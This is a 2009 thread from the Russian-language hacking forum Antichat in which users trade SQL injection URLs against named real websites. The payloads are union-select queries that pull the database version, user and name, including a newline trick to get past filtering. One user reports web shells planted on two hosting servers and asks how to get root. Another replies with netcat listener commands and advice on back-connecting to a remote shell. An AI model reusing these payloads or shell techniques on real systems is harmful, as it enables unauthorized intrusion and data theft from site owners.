ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5921  
Старый 12.03.2009, 19:54
Аватар для IDW
IDW
Новичок
Регистрация: 08.09.2008
Сообщений: 21
Провел на форуме:
26253

Репутация: 7
Отправить сообщение для IDW с помощью ICQ
По умолчанию

можешь объяснить? а то я нуб полный
 
Ответить с цитированием

  #5922  
Старый 12.03.2009, 19:54
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Код:
http://www.prazdnik.by/calendar/?day=-12'))))+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--+&month=3&year=2009
 
Ответить с цитированием

  #5923  
Старый 12.03.2009, 19:56
Аватар для IDW
IDW
Новичок
Регистрация: 08.09.2008
Сообщений: 21
Провел на форуме:
26253

Репутация: 7
Отправить сообщение для IDW с помощью ICQ
По умолчанию

о, спасибо большое, сам бы ни за что не догадался, я за всю жизнь ток 1 инъекцию сделал, даже шелл залил оО, спс
 
Ответить с цитированием

  #5924  
Старый 13.03.2009, 01:20
Аватар для PaCo
PaCo
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802

Репутация: 380
По умолчанию

Это ниже 4 версии или я не правильно подобрал кол. выводимых колонок, потому как union не канает?
http://flb.ru/?path=81&message_id=40+group+by+8--+
 
Ответить с цитированием

  #5925  
Старый 13.03.2009, 01:24
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

пятая ветка:

Код:
http://flb.ru/?path=81&message_id=40+and+substring(version(),1,1)=5
 
Ответить с цитированием

  #5926  
Старый 13.03.2009, 01:28
Аватар для AkyHa_MaTaTa
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

возможно какая то фильтрация :

PHP код:
http://flb.ru/?path=81&message_id=123+union%0Aselect+1,2,3,4,concat_ws(0x3A,user(),version(),database()),6,7,8--+ 
 
Ответить с цитированием

  #5927  
Старый 13.03.2009, 03:59
Аватар для apekoff
apekoff
Новичок
Регистрация: 12.03.2009
Сообщений: 26
Провел на форуме:
115825

Репутация: 0
По умолчанию

собственна давно интересует ламерский вопрос .
есть два ресурса( хостинга ) на обоих у меня залиты шеллы

1.

Цитата:
Software: Apache/2.0.59 (Unix). PHP/4.4.7

uname -a: FreeBSD ----------------- 6.2-RELEASE-p7 FreeBSD 6.2-RELEASE-p7 #0: Sat Aug 4 16:06:27
CEST 2007 root@--------.com:/usr/obj/usr/src/sys/1850 i386

uid=80(www) gid=80(www) groups=80(www)

Safe-mode: OFF (not secure)

2.

Цитата:
Software: Apache. PHP/5.2.6-1 uname -a: Linux 2.6.26-1-686 #1 SMP Sat Jan 10 18:29:31 UTC 2009 i686 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure)
вот собственна ...
А теперь вопрос - как пользоваться NetCat если у меня не выделенный айпи
Есть хостинг покупной,Смотрел видео как коннектятся через Putty на домен ,ожидают бек коннекта ,биндят в шелле порт и подключаются и как там работает неткат . Попробовал на своем хосте на firstvds.ru - не работает . Нигде фака по инсталлу на сервер нетката не нашел поиск не рулит.
И второй вопрос - какой софт под эти оси нужен?
В обоих сервисах есть права на запись .
Нужен root.
Спасибо.
 
Ответить с цитированием

  #5928  
Старый 13.03.2009, 05:57
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

Цитата:
А теперь вопрос - как пользоваться NetCat если у меня не выделенный айпи
бери ссх(можно попросить у знакомых, если нету), и там неткат на прослушку порта(nc -l -p порт ) и бекконекти (я через шелл от рст это делаю)

Цитата:
#4. Установка.. мде.. тут нужен рут :]
А вот если на ссх нетката нету, то не обязательно устанавливать, можно скомпилить и запускать потом ./netcat -l -p порт

Последний раз редактировалось Iceangel_; 13.03.2009 в 05:59..
 
Ответить с цитированием

  #5929  
Старый 13.03.2009, 11:32
Аватар для diznt
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме:
6128108

Репутация: 445


По умолчанию

http://www.theglobalreport.org/print.php?news_id=100'

Блин опять запариваюсь на скуле
Помогите с подбором
 
Ответить с цитированием

  #5930  
Старый 13.03.2009, 11:41
Аватар для oRb
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию

Цитата:
Сообщение от diznt  
http://www.theglobalreport.org/print.php?news_id=100'

Блин опять запариваюсь на скуле
Помогите с подбором
http://www.theglobalreport.org/print.php?news_id=-100'+union+select+1,2,concat_ws(0x3a,version(),use r(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22+--+
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ